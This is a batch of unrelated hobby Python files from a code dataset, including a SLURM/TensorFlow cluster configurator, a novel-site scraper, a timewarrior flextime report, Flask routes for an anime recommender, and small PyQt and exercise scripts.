#os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\" # os.environ[\"SLURM_LOCALID\"]\n #print(\"GPUS : \", os.environ[\"CUDA_VISIBLE_DEVICES\"] )\n\n\n if s.find(\"[\") == -1: # The case with only one node, has no brackets. Finds the node number.\n s4 = [str(s[s.find(\"e\") + 1:])]\n\n else:\n s2 = s[s.find(\"[\") + 1: s.find(\"]\")] # s2 = \"009-012,047\"\n\n s3 = s2.split(\",\") # s3 = [\"009-012\",\"047\"]\n s4 = []\n for i in s3:\n j = i.find(\"-\")\n if j != -1:\n s5 = i.split(\"-\")\n a = int(s5[0])\n while a < int(s5[1]) + 1:\n s4.append(str(a))\n a += 1\n else:\n s4.append(i) # s3 = [\"009\",\"010\",\"011\",\"012\",\"047\"]\n #print(s4)\n \n \n # The node numbering is done using three digits, padded with zeros if necessary.\n number_of_zeros = [3 - len(i) for i in s4]\n clust = [\"node\" + \"0\" * i[0] + i[1] for i in zip(number_of_zeros, s4)] # Clust = [\"Node009\",\"Node010\",\"Node011\",\"Node012\", \"Node047\"]\n\n \"\"\"\n All of the above should hold most likely\n\n Now, I want to know how many tasks we have. Could possibly want to use the env variable SLURM_TASKS_PER_NODE\n\n This may be good as well SLURM_LOCALID\n\n I assume that I would need to open different ports for different processes\n \"\"\"\n\n port =\"888\" # Choose a port number to use, use 888 as base, the processes will then have ports 8880, 8881, 8882, etc\n\n \n port =\"8\"+ os.environ[\"SLURM_JOBID\"][-3:] # New version, the port number will now be 8zzy, where zz is the last two digits in the jobID, and y being the local task id\n\n # In order to communicate, the nodes need to be supplied with port numbers (This is something that I do not \n # really understand). \n \n #clust_with_ports = [s + \":\"+port for s in\n # clust] # = [\"Node009:8888\",\"Node010:8888\",\"Node011:8888\",\"Node012:8888\", \"Node047:8888\"]\n\n # This outputs the node used for the specific task, where most likely we want to have 1 node corresponding to 1 \n # task. Use this to check if it is the first worker. The first worker is usually appointed some extra tasks in \n # addition to training. This can for example be printing stuff etc, just using print() will print using all \n # tasks, and we will just get extra print statements.\n \n #num_workers = len(clust_with_ports)\n \n num_tasks = int(os.environ[\"SLURM_NTASKS\"]) // len(clust) # Here we assume that the number of GPUS is the same across all nodes.\n\n ## This should really be the only thing that needs to be changed in order to handle different number of gpus on different nodes\n # I can't find a smart way of finding the number of gpus alocated per node, if this number is different for different nodes.\n # SLURM_TASKS_PER_NODE=2(x3),1, translate this into a list or array of [2,2,2,1], then loop over this.\n\n string = os.environ[\"SLURM_TASKS_PER_NODE\"]\n string2 = string.split(\",\")\n\n num_gpus_per_node = []\n for i in string2:\n ind = int((i.find(\"x\")))\n if not ind == -1:\n for j in range(int(i[ind+1])):\n num_gpus_per_node.append(int(i[0]))\n else:\n num_gpus_per_node.append(int(i[0]))\n\n\n clust_with_ports = []\n\n for i in range(len(clust)):\n for j in range(num_gpus_per_node[i]):\n #print(i)\n clust_with_ports.append(clust[i]+\":\"+port+str(j)) \n #print(clust[i])\n\n num_workers = len(clust_with_ports)\n\n if int(os.environ[\"SLURM_PROCID\"]) ==0 :\n\n print(clust_with_ports)\n\n clust_with_ports = []\n\n for i in range(len(clust)):\n for j in range(num_gpus_per_node[i]):\n #print(i)\n clust_with_ports.append(clust[i]+\":\"+port+str(j)) \n #print(clust[i])\n\n num_workers = len(clust_with_ports)\n\n\n if int(os.environ[\"SLURM_PROCID\"]) ==0 :\n\n print(clust_with_ports)\n\n \n t = os.environ[\"SLURMD_NODENAME\"]\n # Find at which index the current Node is, if it is the first node in the job, this is appointed chief status. \n # This is also used as an output from this function \n ind = clust.index(t)* num_tasks + int(os.environ[\"SLURM_LOCALID\"])\n #print(\"ind: \", ind)\n if ind == 0 and int(os.environ[\"SLURM_PROCID\"])==0:\n role = \"worker\"\n chief = t\n else:\n role = \"worker\"\n ind = ind\n chief = 0\n\n \"\"\"\n If we explicitly appoint a worker as the chief, it seems to not take part in training. This can be done in this manner:\n\n cfg = {'cluster': {'chief': [clust_with_ports[0]], 'worker' : clust_with_ports[1:] },\n #'cluster': {'worker': clust},\n 'task': {'type': role,'index': ind,},\n 'rpc_layer': 'grpc',}\n\n Here I say that the first node is the chief, and the rest are workers, i.e., first node does no computational work. This is most likely nto what I want.\n I want all to be working, but I want worker with index 0 to in addition be responsible for printing etc.\n \"\"\"\n\n cfg = {\n 'cluster': {'worker': clust_with_ports},\n 'task': {'type': role, 'index': ind, },\n 'rpc_layer': 'grpc' }\n\n # These addresses with the \"grpc://\" prefixes are needed when doing profiling (I think)- profiling multiple \n # workers seems hard. \n \n #addresses = [\",\".join([\"grpc://\" + c + \":\"+port for c in clust])]\n addresses = [\",\".join([\"grpc://\" +str(ind)+ c for c in clust_with_ports])]\n addresses = [\",\".join([\"grpc://\" + c for c in clust_with_ports])]\n\n #print(addresses)\n # Now we have the full tf config variable, write it to the os.environ to set it as a environment variable.\n os.environ['TF_CONFIG'] = json.dumps(cfg)\n\n return addresses, chief, num_workers\n","repo_name":"filtho/ContrastiveLosses","sub_path":"set_tf_config_berzelius.py","file_name":"set_tf_config_berzelius.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33781141616","text":"import json\n\n\nclass simulationCfg:\n\n def __init__(self, path):\n with open(path) as j:\n self._jsonFile = json.load(j)\n self.base_path = None\n self.scenario_name = None\n self.gui = True\n self.step = 1000\n self.wid = 1.6\n self.length = 4.3\n self.sumo_conf = {}\n self.generate_rou_file = False\n self.ego_veh_mode = False\n for key, value in self._jsonFile.items():\n setattr(self, key, value)\n\n @property\n def jsonFile(self):\n return self._jsonFile\n","repo_name":"seungju-mmc/CommonRoad","sub_path":"sumoSimulation/cfg.py","file_name":"cfg.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"13610674341","text":"from pyquery import PyQuery as pq\nimport requests\n\ndef parse_jjwxc_url(url):\n res = requests.get(url)\n res.encoding = 'gb2312'\n doc = pq(res.text)\n title = doc('span[itemprop=articleSection]').text()\n # title_en = translator.translate(title).text\n author = doc('span[itemprop=author]').text()\n # author_en = translator.translate(author).text\n status = doc('span[itemprop=updataStatus]').text()\n # status_en = translator.translate(status).text\n wordCount = doc('span[itemprop=wordCount]').text()\n collectedCount = doc('span[itemprop=collectedCount]').text()\n summary = doc('div[itemprop=description]').text().replace('~', '').replace('||', '|')\n # summary_en = translator.translate(summary).text.replace('~', '').replace('||', '|')\n tags = doc('div.smallreadbody>span>a').text().replace(' ', '/')\n cover = doc('img.noveldefaultimage').attr('src')\n # tags_en = translator.translate(tags).text\n return {\n # 'title': '{}({})'.format(title, title_en),\n # 'author': '{}({})'.format(author, author_en),\n # 'status': '{}/{}'.format(status, status_en),\n 'title': title,\n 'author': author,\n 'status': status,\n 'other_info': 'word count:{}\\ncollected count: {}'.format(wordCount.replace('字', 'chars'), collectedCount),\n 'tags': tags,\n 'summary': summary,\n 'cover': cover\n }\n\ndef get_novel_info(id):\n url = f'http://www.jjwxc.net/onebook.php?novelid={id}'\n req = requests.get(url)\n req.encoding = 'gb2312' # 显示指定网页编码\n body = pq(req.text)\n novel_info = {}\n\n novel_info['authorName'] = body('span[itemprop=author]').text()\n novel_info['authorUrl'] = f'http://www.jjwxc.net/oneauthor.php?authorid={body(\"#authorid_\").text()}'\n novel_info['bookUrl'] = url\n novel_info['url'] = url\n novel_info['title'] = body('span[itemprop=articleSection]').text()\n novel_info['type'] = body('span[itemprop=genre]').text()\n novel_info['style'] = body('ul.rightul li:nth-child(3)').text()[5:]\n novel_info['status'] = body('span[itemprop=updataStatus]').text()\n novel_info['collectionCount'] = body('span[itemprop=collectedCount]').text()\n novel_info['wordcount'] = body('span[itemprop=wordCount]').text()[:-1]\n novel_info['cover'] = body('img.noveldefaultimage').attr('src')\n novel_info['searchKeyword'] = body('div.smallreadbody span.bluetext').text()\n if '完' in novel_info['status']:\n novel_info['status'] = '完结'\n elif novel_info['status'] == '暂停':\n novel_info['status'] = '断更'\n elif novel_info['status'] == '连载中':\n novel_info['status'] = '连载'\n novel_info['bid'] = 'jj' + novel_info['bookUrl'].split('=')[-1]\n novel_info['aid'] = 'jj' + novel_info['authorUrl'].split('=')[-1]\n \n # handle tag\n tag_items = list(body('div.smallreadbody a').items())\n tag_name_list = [i.text() for i in tag_items]\n tag_href_list = [i.attr('href') for i in tag_items]\n tag_dict = {\n tag_name_list[i]: tag_href_list[i] for i in range(len(tag_name_list))\n }\n tag_remove_list = []\n for i in tag_dict.keys():\n if '?bq=' not in tag_dict[i] or len(i) > 4:\n tag_remove_list.append(i)\n for i in tag_remove_list:\n tag_dict.pop(i)\n novel_info['tags'] = [i.strip() for i in tag_dict.keys() if len(i.strip()) > 0]\n return novel_info\n\ndef get_novel_update_status(nid):\n \"\"\"\n 获取book状态\n :param bid: bookid\n :return: 0: 连载中 1: 已完结 2: 不存在 dict: {}\n \"\"\"\n url = f'http://www.jjwxc.net/onebook.php?novelid={nid}'\n req = requests.get(url)\n req.encoding = 'gb2312' # 显示指定网页编码\n body = pq(req.text)\n\n # 判定是否完结 span itemprop=\"updataStatus\"\n status = 2\n title = body('title').text()\n spans = body('span').items()\n oneboolt = body('table#oneboolt')\n table = None\n if len(list(oneboolt.items())) == 0:\n status = 2\n else:\n table = list(oneboolt.items())[0]\n for s in spans:\n if s.attr('itemprop') == 'updataStatus':\n if '连载' in s.text():\n status = 0\n else:\n status = 1\n\n if table:\n trs = list(table('tr').items())\n last_chapter_tr = trs[-2]\n tds = list(last_chapter_tr('td').items())\n # print(last_chapter_tr.html())\n if tds[0].text() == \"章节\":\n return {'status': status,\n 'chapter_id': 0,\n 'chapter_title': \"尚未开始连载\",\n 'chapter_desc': \"尚未开始连载\",\n 'title': title}\n else:\n chapter_id = int(tds[0].text())\n chapter_title = tds[1].text().strip()\n chapter_desc = tds[2].text()\n return {'status': status,\n 'chapter_id': chapter_id,\n 'chapter_title': chapter_title,\n 'chapter_desc': chapter_desc,\n 'title': title}\n else:\n return status, None\n\nif __name__ == '__main__':\n print(get_novel_info('4947430'))\n print(parse_jjwxc_url('https://www.jjwxc.net/onebook.php?novelid=4472787'))\n","repo_name":"zhufree/linkson","sub_path":"src/linkson/jj_api.py","file_name":"jj_api.py","file_ext":"py","file_size_in_byte":5251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15640120631","text":"def m():\n '''\n * m: Series/Sequence *\n\n Parameters:\n None: (Type: None)\n Returns:\n The function returns the result of the Series/Sequence. (Type: Interger)\n\n return ser\n '''\n ser = 0\n k = 1\n\n for i in range(37, 0, -1):\n ser += (i * (i+1)) / k\n k += 1\n \n print(ser)\n return ser\n \n\ndef main():\n\n result = m()\n print('\\nThe result of the series is: ', result)\n\nif __name__ == \"__main__\":\n main()","repo_name":"lapisco/IND.086-PROGRAMACAO-AVANCADA","sub_path":"Python/Lista 1 – Introdução à Lógica de Programação/18/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26563831342","text":"import requests\n\nimport clients.weather.models as models\n\ndef get_weather(city):\n # https://www.weatherbit.io/api/weather-current\n api_key = 'dc0c2cf4677442d3b043e48a95e0c799'\n response = requests.get(\n 'http://api.weatherstack.com/current',\n params={\n }\n )\n\n return models.Weather(temperature=273.15)\n","repo_name":"room89/learn_django","sub_path":"clients/weather/weatherbit/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27535905881","text":"import datetime\nimport json\n\nimport sys\nfrom dateutil import tz\n\nFLEXTIME_MARKER_TAG = \"flextime\"\nBREAK_MARKER_TAG = \"break\"\nVACATION_MARKER_TAG = \"vacation\"\nDEFAULT_WORKING_HOURS_PER_DAY = 8\nDEFAULT_VACATION_DAYS_PER_YEAR = 20\nDEFAULT_FLEXTIME_START_HOURS = 0\n\nDATEFORMAT = \"%Y%m%dT%H%M%SZ\"\n\ndef format_seconds(seconds):\n \"\"\"Convert seconds to a formatted string\n\n Convert seconds: 3661\n To formatted: \" 1:01:01\"\n \"\"\"\n\n # ensure to show negative time frames correctly\n hour_factor = 1\n if seconds < 0 :\n hour_factor = -1\n seconds = - seconds\n\n hours = seconds // 3600\n minutes = seconds % 3600 // 60\n seconds = seconds % 60\n return \"{:4d}:{:02d}:{:02d}\".format(hour_factor * hours, minutes, seconds)\n\n\ndef has_tag(object, wantedTag):\n if \"tags\" not in object or object[\"tags\"] == []:\n return False\n else:\n for tag in object[\"tags\"]:\n if tag == wantedTag:\n return True\n return False\n\ndef calc_days(body, working_hours_per_day):\n totals = dict()\n vacation = 0;\n vacation_acc = datetime.timedelta();\n j = json.loads(body)\n for object in j:\n start = datetime.datetime.strptime(object[\"start\"], DATEFORMAT)\n\n if \"end\" in object:\n end = datetime.datetime.strptime(object[\"end\"], DATEFORMAT)\n else:\n end = datetime.datetime.utcnow()\n\n tracked = end - start\n\n day = start.strftime(\"%Y-%m-%d\")\n\n if has_tag(object, FLEXTIME_MARKER_TAG) or has_tag(object, BREAK_MARKER_TAG):\n # add flextime and breaks with 0 tracked time => expected is counted as working day, no working time added\n tracked = datetime.timedelta(seconds=0)\n\n if (has_tag(object, VACATION_MARKER_TAG)):\n # for vacation don't add an entry in the totals array, only increase vacation count,\n # works by accumulating tracked time until reaching a breakpoint of one complete working\n # day, at which point the vacation count is incremented\n vacation_acc += tracked\n if vacation_acc >= datetime.timedelta(hours=working_hours_per_day):\n vacation += 1\n vacation_acc = datetime.timedelta()\n continue;\n\n if day in totals:\n totals[day] += tracked\n else:\n totals[day] = tracked\n\n\n return totals, vacation\n\ndef get_header(start, end):\n return [\n \"\",\n \"Flextime for {:%Y-%m-%d %H:%M:%S} - {:%Y-%m-%d %H:%M:%S}\".format(start, end),\n \"\"\n ]\n\ndef append_table_header(output, color_config, max_width):\n if color_config == \"on\":\n output.append(\"\u001B[4m{:{width}}\u001B[0m \u001B[4m{:>10}\u001B[0m \u001B[4m{:>10}\u001B[0m \u001B[4m{:>10}\u001B[0m\".format(\"Day\", \"Total\", \"Expected\", \"Diff\", width=max_width))\n else:\n output.append(\"{:{width}} {:>10} {:>10} {:>10}\".format(\"Day\", \"Total\", \"Expected\", \"Diff\", width=max_width))\n output.append(\"{} {} {} {}\".format(\"-\" * max_width, \"----------\", \"----------\", \"----------\"))\n\ndef append_totals_header(output, color_config, max_width):\n if color_config == \"on\":\n output.append(\"{} {} {} {}\".format(\" \" * max_width, \"\u001B[4m \u001B[0m\", \"\u001B[4m \u001B[0m\", \"\u001B[4m \u001B[0m\"))\n else:\n output.append(\"{} {} {} {}\".format(\" \" * max_width, \"----------\", \"----------\", \"----------\"))\n\ndef underline(output, color_config):\n if color_config == \"on\":\n output.append(\"{}\".format(\"\u001B[4m \u001B[0m\"))\n else:\n output.append(\"{}\".format(\"----------\"))\n\n\ndef read_input(input_stream):\n header = 1\n configuration = dict()\n body = \"\"\n for line in input_stream:\n if header:\n if line == \"\\n\":\n header = 0\n else:\n fields = line.strip().split(\": \", 2)\n if len(fields) == 2:\n configuration[fields[0]] = fields[1]\n\n else:\n configuration[fields[0]] = \"\"\n print(fields[0])\n else:\n body += line\n return configuration, body\n\n\n\ndef from_config_or_default(configuration,name, default):\n if name in configuration:\n return configuration[name]\n return default\n\n\ndef calcFlexTime(input_stream):\n from_zone = tz.tzutc()\n to_zone = tz.tzlocal()\n\n configuration, body = read_input(input_stream)\n\n working_hours_per_day = int(from_config_or_default(configuration, \"flextime.hours_per_day\", DEFAULT_WORKING_HOURS_PER_DAY))\n working_secs_per_day = working_hours_per_day * 60 * 60\n\n vacation_total = int(from_config_or_default(configuration, \"flextime.vacation_days_per_year\", DEFAULT_VACATION_DAYS_PER_YEAR))\n\n flextime_start_hours = float(from_config_or_default(configuration, \"flextime.start_hours\", DEFAULT_FLEXTIME_START_HOURS))\n flextime_baseline = int(flextime_start_hours * 60 * 60)\n\n # Sum the seconds tracked by day.\n totals, vacation = calc_days(body, working_hours_per_day)\n\n date_width = 10 # length of day string\n \n if \"temp.report.start\" not in configuration:\n return [\"There is no data in the database\"]\n\n start_utc = datetime.datetime.strptime(configuration[\"temp.report.start\"], DATEFORMAT)\n start_utc = start_utc.replace(tzinfo=from_zone)\n start = start_utc.astimezone(to_zone)\n\n if \"temp.report.end\" in configuration:\n end_utc = datetime.datetime.strptime(configuration[\"temp.report.end\"], DATEFORMAT)\n end_utc = end_utc.replace(tzinfo=from_zone)\n end = end_utc.astimezone(to_zone)\n else:\n end = datetime.datetime.now()\n\n \n output = get_header(start, end)\n \n color_config = configuration[\"color\"]\n append_table_header(output, color_config, date_width)\n\n working_secs_total = 0\n expected_secs_total = 0\n for day in sorted(totals):\n seconds = int(totals[day].total_seconds())\n formatted = format_seconds(seconds)\n working_secs_total += seconds\n expected_secs_total += working_secs_per_day\n output.append(\"{:{width}} {:10} {:10} {:10}\".format(day, formatted, format_seconds(working_secs_per_day), format_seconds(seconds - working_secs_per_day), width=date_width))\n\n append_totals_header(output, color_config, date_width)\n \n flextime_current = working_secs_total - expected_secs_total\n output.append(\"{:{width}} {:10} {:10} {:10}\".format(\"Total\", format_seconds(working_secs_total), format_seconds(expected_secs_total), format_seconds(flextime_current), width=date_width))\n output.append(\"\")\n output.append(\"Flextime:\")\n underline(output, color_config)\n output.append(\"{:{width}} {:10} \".format(\"Baseline\", format_seconds(flextime_baseline), width=date_width))\n output.append(\"{:{width}} {:10} \".format(\"In period\", format_seconds(flextime_current), width=date_width))\n output.append(\"{:{width}} {:10} \".format(\"Sum\", format_seconds(flextime_baseline + flextime_current), width=date_width))\n\n output.append(\"\")\n\n output.append(\"Vacation:\")\n underline(output,color_config)\n output.append(\"{:{width}} {:10} \".format(\"Total (this year)\", vacation_total, width=20))\n output.append(\"{:{width}} {:10} \".format(\"Taken in period\", vacation, width=20))\n output.append(\"{:{width}} {:10}*\".format(\"Left*\", vacation_total - vacation, width=20))\n output.append(\"\")\n output.append(\"*Left also includes vacation taken in periods that are not shown in this report.\")\n \n output.append(\"\")\n\n return output\n\n\nif __name__ == \"__main__\":\n for line in calcFlexTime(sys.stdin):\n print(line)\n","repo_name":"pontusk/timewarrior-extensions","sub_path":"flextime/flextime.py","file_name":"flextime.py","file_ext":"py","file_size_in_byte":7544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"14981888485","text":"while True:\n try:\n query_count = int(input())\n ans_doc_list = []\n rele_doc_list = []\n for i in range(query_count):\n ans_doc_str = input()\n rele_doc_str = input()\n ans_doc_list.append(ans_doc_str.split())\n rele_doc_list.append(rele_doc_str.split())\n map_value_list = []\n for i in range(len(ans_doc_list)):\n precision_list = []\n match = 0\n for j in range(len(ans_doc_list[i])):\n if ans_doc_list[i][j] in rele_doc_list[i]:\n match += 1\n precision_list.append(round(match / (j + 1.), 4))\n map_value_list.append(round(sum(precision_list) / len(rele_doc_list[i]), 4))\n map_ans = round(sum(map_value_list) / len(map_value_list), 4)\n print(map_ans)\n except:\n break\n","repo_name":"leeyk0501/NTUST-CSIE-IR","sub_path":"hw3/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3082269824","text":"# Coroutine Pipeline Example... producer, intermediate , sink \n\n# producer, intermdiate coroutine, sink \n\ndef producer(nums, next_co):\n nums_transformed = []\n for i in nums:\n nums_transformed.append(i * 5)\n for num in nums_transformed:\n next_co.send(num)\n next_co.close()\n\n# modulo finder \ndef mod_finder(next_co=None):\n print('searching for numbers divisible by 4')\n\n try:\n while True:\n num = (yield)\n if num % 4 == 0:\n next_co.send(num)\n except GeneratorExit:\n print('no more numbers to look at, exiting')\n\n# the sink printer \n\ndef print_final_nums():\n print('My name is Sink, I will print for you')\n\n try:\n while True:\n num = (yield)\n print(num)\n except GeneratorExit:\n print('goodbye, Sink\\'s job is done')\n\npt = print_final_nums()\npt.__next__()\nmf = mod_finder(next_co= pt)\nmf.__next__()\n\nnums = [i for i in range(1, 100)]\nproducer(nums, mf)\n\n \n","repo_name":"quinalt/py_practice","sub_path":"coroutine_pipeEx.py","file_name":"coroutine_pipeEx.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5785464269","text":"from flask import Blueprint, render_template, request, redirect, url_for\nfrom .jikan_api import fetch_anime_full, fetch_currenty_airing, fetch_popular, fetch_favorite, fetch_recommendation, parse_anime\nfrom .recommend import get_ncf_recommendations, get_bpr_recommendations\n\n# parallel api requests\nimport concurrent.futures\n\n\nroutes = Blueprint('routes',__name__)\n\n\n@routes.route('/')\ndef index():\n return render_template(\"index.html\")\n\n@routes.route('/home')\n@routes.route('/anime')\ndef home():\n airing_animes = fetch_currenty_airing()\n popular_animes = fetch_popular()\n return render_template(\"home.html\", airing_animes=airing_animes, popular_animes=popular_animes)\n\n# Serach Funtionality\n# @routes.route('/searchanime', methods=['GET', 'POST'])\n# def search():\n# if request.method == 'POST':\n# query = (request.form['query']).strip()\n\n# if len(query) >= 3:\n# # Filter the dataframe based on the input query\n# filtered_anime_data = anime_dataset[anime_dataset['title'].str.contains(query, case=False)]\n# # Return the filtered rows as a list of dictionaries\n# search_results = filtered_anime_data.to_dict('records')\n# print('SHAFI WALSHER: ', search_results)\n# else:\n# search_results = []\n\n# return jsonify({'htmlresponse': render_template('search-results.html', search_results=search_results)})\n\n\n@routes.route('/project-details')\ndef project_details():\n return render_template(\"project-details.html\")\n\n@routes.route('/results')\ndef results():\n return render_template(\"results.html\")\n\n@routes.route('/about-us')\ndef about():\n return render_template(\"about.html\")\n\n\n@routes.route('/test')\ndef test():\n return render_template(\"test.html\")\n\n# Anime Page Route\n@routes.route('/anime/')\ndef anime(anime_id):\n anime_details = parse_anime(fetch_anime_full(anime_id)['data'])\n fav_animes = fetch_favorite()\n reco_animes = fetch_recommendation(anime_id)\n return render_template(\"anime.html\", anime_details=anime_details, fav_animes=fav_animes, reco_animes=reco_animes)\n\n\n# NCF BPR Recommendation Route\n@routes.route('/recommend', methods=['GET','POST'])\n@routes.route('/recommendation', methods=['GET','POST'])\ndef recommend():\n # TOTAL No OF USERS: 73516\n reco_animes = {}\n user_id = None\n model_type = None\n if request.method == 'POST':\n user_id = int(request.form.get('user_id'))\n model_type = request.form.get('model_type')\n\n if user_id <= 73516:\n if model_type == 'NCF':\n reco_animes_ids = get_ncf_recommendations(user_id)\n if model_type == 'BPR':\n reco_animes_ids = get_bpr_recommendations(user_id)\n else:\n reco_animes_ids = []\n if reco_animes_ids is not None:\n index=0\n for anime_id in reco_animes_ids:\n anime = parse_anime(fetch_anime_full(anime_id)['data'])\n reco_animes[index] = anime\n index+=1\n\n return render_template(\"recommend.html\", reco_animes=reco_animes, user_id=user_id, model_type=model_type)\n\n\n","repo_name":"ShafiWalsher/9Animebay-Recommendation-Webapplication","sub_path":"website/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8476204020","text":"from math import sqrt\nfrom itertools import tee\n\nfrom PIL import Image, ImageDraw\nfrom rgb_colors import COLORS\nimport pandas as pd\n\nfrom Animation import Animation\n\n\nclass Circle:\n def __init__(self, x, y, radius, color='black'):\n self.x = x\n self.y = y\n self.radius = radius\n self.color = color\n\n\nclass Sphere(Circle):\n def __init__(self, value, title, x, y, radius, color='black'):\n super(Sphere, self).__init__(x, y, radius, color=color)\n self.value = value\n self.title = title\n\n\nclass Path:\n def __init__(self, start, end, name, value, color='black'):\n self.start = start\n self.end = end\n self.name = name\n self.value = value\n self.color = color\n\n\nclass KircherTree:\n def __init__(self, width=400, height=800, radius=30, filename='Kircher.png', animation=None):\n self.margin = radius\n self.image = Image.new('RGB', (width + self.margin*2, height + self.margin*2), color=(0, 42, 76))\n self.drawing = ImageDraw.Draw(self.image)\n self.animation = animation\n self.path_width = 15\n self.width = width\n self.height = height\n self.backbone_radius = self.height // 4\n self.sphere_radius = radius\n self.spheres = self.get_spheres()\n self.paths = self.get_paths()\n self.draw_paths()\n self.draw_spheres()\n self.write_names()\n self.image.save(filename)\n\n if self.animation is not None:\n self.animation.save_gif()\n\n def get_spheres(self):\n df = pd.read_csv('spheres.csv')\n center_x = (self.width // 2) + self.margin\n center_length = self.backbone_radius * 4\n backbone = [Circle(center_x, c, self.backbone_radius)\n for c in range(self.margin, center_length, self.backbone_radius)]\n balance = [1, 0, 6, 9]\n side_pillars = [2, 3, 4, 5, 7, 8]\n spheres = []\n\n for i, svalue in zip(backbone, balance):\n row = df[df['Value'] == svalue]\n spheres.append(Sphere(svalue, row.iloc[0]['Name'], i.x, i.y, self.sphere_radius,\n row.iloc[0]['Mathers Combined']))\n\n spheres.append(Sphere(10, 'Malkuth', center_x, self.margin + self.backbone_radius * 4, self.sphere_radius,\n 'black'))\n\n for c1, c2 in KircherTree.pairwise(backbone):\n intersections = self.circle_intersection(c1, c2)\n for inter in intersections:\n svalue = side_pillars.pop(0)\n row = df.loc[df['Value'] == svalue]\n spheres.append(Sphere(svalue, row.iloc[0]['Name'], inter[0], inter[1], self.sphere_radius,\n row.iloc[0]['Mathers Combined']))\n\n return spheres\n\n def get_paths(self):\n path_dict = {sphere.value: sphere for sphere in self.spheres}\n df = pd.read_csv('paths.csv')\n\n def make_paths(row): return Path(path_dict[row['KStart']],\n path_dict[row['KEnd']],\n row['Name'],\n row['Value'],\n row['Mathers Combined'])\n\n paths = df.apply(make_paths, axis=1)\n\n return paths\n\n def draw_spheres(self):\n for s in self.spheres:\n self.draw_circle(s)\n if s.title == 'Malkuth':\n self.paint_malkuth(s)\n if self.animation:\n self.animation.frames = self.image\n\n def paint_malkuth(self, circle):\n slices = [(45, 315),\n (315, 225),\n (135, 225),\n (45, 135)]\n colors = ['citrine', 'olive', 'russet', 'black']\n for c, s in zip(colors, slices):\n self.drawing.pieslice((circle.x - circle.radius,\n circle.y - circle.radius,\n circle.x + circle.radius,\n circle.y + circle.radius), s[0], s[1], fill=COLORS[c])\n\n def draw_circle(self, circle):\n self.drawing.ellipse((circle.x - circle.radius,\n circle.y - circle.radius,\n circle.x + circle.radius,\n circle.y + circle.radius), fill=COLORS[circle.color])\n\n def draw_paths(self):\n for p in self.paths:\n self.drawing.line([(p.start.x, p.start.y), (p.end.x, p.end.y)], width=self.path_width, fill=COLORS[p.color])\n if self.animation:\n self.animation.frames = self.image\n\n def write_names(self):\n for p in self.paths:\n self.drawing.text(text=p.name, xy=[(p.start.x + p.end.x) / 2, p.start.y])\n for s in self.spheres:\n self.drawing.text(text=s.title, xy=[s.x, s.y])\n\n @staticmethod\n def pairwise(iterable):\n a, b = tee(iterable)\n next(b, None)\n return zip(a, b)\n\n @staticmethod\n def euclidean_distance(x1, y1, x2, y2):\n return sqrt(((x1 - x2) ** 2) + ((y1 - y2) ** 2))\n\n @staticmethod\n def circle_intersection(circle1, circle2):\n # https://gist.github.com/xaedes/974535e71009fa8f090e\n # thanks!\n x1, y1, r1 = circle1.x, circle1.y, circle1.radius\n x2, y2, r2 = circle2.x, circle2.y, circle2.radius\n dx, dy = x2 - x1, y2 - y1\n d = KircherTree.euclidean_distance(x1, y1, x2, y2)\n\n if d > r1 + r2:\n return None # circles are separate\n elif d < abs(r1 - r2):\n return None # circle within another\n elif d == 0 and r1 == r2:\n return None # circles are coincident\n\n a = (r1 * r1 - r2 * r2 + d * d) / (2 * d)\n h = sqrt(r1 * r1 - a * a)\n xm = x1 + a * dx / d\n ym = y1 + a * dy / d\n xs1 = int(xm + h * dy / d)\n xs2 = int(xm - h * dy / d)\n ys1 = int(ym - h * dx / d)\n ys2 = int(ym + h * dx / d)\n\n return (xs1, ys1), (xs2, ys2)\n\n\ndef main():\n KircherTree(animation=Animation('test.gif', duration=1))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tetrismegistus/minutia","sub_path":"exercises/python_doodles/tol/tree_of_life.py","file_name":"tree_of_life.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"17662134540","text":"from cgitb import text\nimport sys\nfrom PyQt5.QtWidgets import *\n\nclass WindowButton(QWidget):\n def __init__(self):\n super().__init__()\n self.setGeometry(50,50,350,350) #set window size and location.\n self.setWindowTitle(\"Using Buttons \")\n self.UI()\n \n def UI(self):\n self.text=QLabel(\"Hello Python\", self)\n enterButton= QPushButton(\"Enter\",self)\n exitButton=QPushButton(\"Exit\",self)\n self.text.move(150,50)\n enterButton.move(100,80)\n exitButton.move(200,80)\n enterButton.clicked.connect(self.enterFunc)\n exitButton.clicked.connect(self.exitFunc)\n self.show()\n \n def enterFunc(self):\n self.text.setText(\"Entered. :)\")\n \n def exitFunc(self):\n self.text.setText(\"Exited. :(\")\n \n\ndef main():\n App= QApplication(sys.argv)\n window = WindowButton()\n sys.exit(App.exec_())\n\nif __name__=='__main__':\n main()\n\n\n","repo_name":"iamniki01/QT5-Apps","sub_path":"Basics/3_buttons.py","file_name":"3_buttons.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23588196389","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom 